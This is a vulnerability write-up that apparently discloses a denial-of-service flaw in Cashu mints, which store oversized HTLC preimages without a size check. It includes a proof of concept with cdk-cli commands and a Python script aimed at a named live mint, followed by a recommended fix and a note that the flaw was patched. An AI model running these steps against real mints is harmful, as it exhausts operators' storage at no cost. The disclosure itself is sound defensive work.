Denial of Service using HTLC in Cashu
Proof of Concept
Download CDK https://github.com/cashubtc/cdk/releases/tag/v0.13.1 and install cdk-cli. Run the below command to mint cashu token worth 1 sat:
./cdk-cli mint https://mint.coinos.io 1I have used coinos mint in this PoC but you can use other mints that support NUT-14. The next step is to get hex for an image(picture) that will be used for preimage. Create the cashu token with sha256(preimage) used in the secret data using this command:
./cdk-cli send --memo test --preimage <preimage>cashuBpGFtdmh0dHBzOi8vbWludC5jb2lub3MuaW9hdWNzYXRhdIGiYWlIAE963yoENWxhcIGkYWEBYXN4wVsiSFRMQyIseyJub25jZSI6IjQzMDJmYzlkODNhNjQwOTdiODVjOTZkYTQ2YjQ4ZDAzNTdkYWYzYWMwYmM1NDk2NzZkNjI1YTZiMTMzZTVjNmUiLCJkYXRhIjoiMzkzZDA4NTdmMTczYzI2YTc0NDg1Nzg4YjA5MTA5OGM0OTAzMGFjODdlODZhMGRjODU3OGFhN2M2MmI1ZDQzYiIsInRhZ3MiOltbInNpZ2ZsYWciLCJTSUdfSU5QVVRTIl1dfV1hY1ghAkFaZoWwvu5_Wm_3EMsWNbUbQx2aBO5Ubq7JmOFbIuk8YWSjYWVYIKfascjV1DA-c6Pc6OVipqPGkHWu9GUgy1eesDH20S5CYXNYIJi9PZ7y_k3LLICQ09d-Lhq3EajKkjpNOyWleRAafhi6YXJYIA-wTTE3EqC0tTgpxXNYKq_xINHvurDzn2Cpo63pDt87YWRkdGVzdA“root”:{4 items
“mint”:”https://mint.coinos.io”
“proofs”:[1 item
0:{5 items
“secret”:”[”HTLC”,{”nonce”:”4302fc9d83a64097b85c96da46b48d0357daf3ac0bc549676d625a6b133e5c6e”,”data”:”393d0857f173c26a74485788b091098c49030ac87e86a0dc8578aa7c62b5d43b”,”tags”:[[”sigflag”,”SIG_INPUTS”]]}]”
“C”:”02415a6685b0beee7f5a6ff710cb1635b51b431d9a04ee546eaec998e15b22e93c”
“amount”:1
“id”:”004f7adf2a04356c”
“dleq”:{3 items
“r”:”0fb04d313712a0b4b53829c573582aaff120d1efbab0f39f60a9a3ade90edf3b”
“s”:”98bd3d9ef2fe4dcb2c8090d3d77e2e1ab711a8ca923a4d3b25a579101a7e18ba”
“e”:”a7dab1c8d5d4303e73a3dce8e562a6a3c69075aef46520cb579eb031f6d12e42”
}
}
]
“unit”:”sat”
“memo”:”test”
}393d0857f173c26a74485788b091098c49030ac87e86a0dc8578aa7c62b5d43b is the hash of our preimage. The mint will store the preimage in its database after we spend this token using this command:
./cdk-cli receive cashuBpGFtdmh0dHBzOi8vbWludC5jb2lub3MuaW9hdWNzYXRhZGR0ZXN0YXSBomFpSABPet8qBDVsYXCBpGFhAWFzeMFbIkhUTEMiLHsibm9uY2UiOiI0MzAyZmM5ZDgzYTY0MDk3Yjg1Yzk2ZGE0NmI0OGQwMzU3ZGFmM2FjMGJjNTQ5Njc2ZDYyNWE2YjEzM2U1YzZlIiwiZGF0YSI6IjM5M2QwODU3ZjE3M2MyNmE3NDQ4NTc4OGIwOTEwOThjNDkwMzBhYzg3ZTg2YTBkYzg1NzhhYTdjNjJiNWQ0M2IiLCJ0YWdzIjpbWyJzaWdmbGFnIiwiU0lHX0lOUFVUUyJdXX1dYWNYIQJBWmaFsL7uf1pv9xDLFjW1G0MdmgTuVG6uyZjhWyLpPGFko2FlWCCn2rHI1dQwPnOj3OjlYqajxpB1rvRlIMtXnrAx9tEuQmFzWCCYvT2e8v5NyyyAkNPXfi4atxGoypI6TTslpXkQGn4YumFyWCAPsE0xNxKgtLU4KcVzWCqv8SDR77qw859gqaOt6Q7fOw== --preimage <preimage>We can get the preimage (witness) from the coinos mint using this python script:
import requests
import json
import hashlib
from secp256k1 import PublicKey
secret = ‘[”HTLC”,{”nonce”:”4302fc9d83a64097b85c96da46b48d0357daf3ac0bc549676d625a6b133e5c6e”,”data”:”393d0857f173c26a74485788b091098c49030ac87e86a0dc8578aa7c62b5d43b”,”tags”:[[”sigflag”,”SIG_INPUTS”]]}]’
DOMAIN_SEPARATOR = b”Secp256k1_HashToCurve_Cashu_”
def hash_to_curve(message):
msg_hash = hashlib.sha256(DOMAIN_SEPARATOR + message.encode(’utf-8’)).digest()
counter = 0
while counter < 2**16:
counter_bytes = counter.to_bytes(4, byteorder=’little’)
hash_result = hashlib.sha256(msg_hash + counter_bytes).digest()
try:
pubkey_bytes = bytes([0x02]) + hash_result
Y = PublicKey(pubkey_bytes, raw=True)
return Y.serialize().hex()
except:
counter += 1
raise Exception(”Could not find valid point”)
Y_hex = hash_to_curve(secret)
response = requests.post(
‘https://mint.coinos.io/v1/checkstate’,
json={”Ys”: [Y_hex]}
)
result = response.json()
print(json.dumps(result, indent=2))This is documented in NUT 07 and the cashu mint does not validate size before adding the preimage in the database.
I have stored the hex of this image(picture) in the proof of concept:
An attacker can fill the mint’s database and disk space with trash or malicious data for free.
./cdk-cli balance
0: https://mint.coinos.io 1 sat
Total balance across all wallets: 1 sat
Recommended fix
Define the size limit for preimage and mints should reject the request to spend tokens with preimage size higher than the limit.
There should be a small fee paid to the mint for spending a token.
if len(proof.htlcpreimage) != 64:
raise TransactionError(”HTLC preimage must be 64 characters hex.”)
The vulnerability affected nutshell implementation and was was fixed in PR #803. The mints running v0.18.0 are unaffected because they validate the size of preimage.



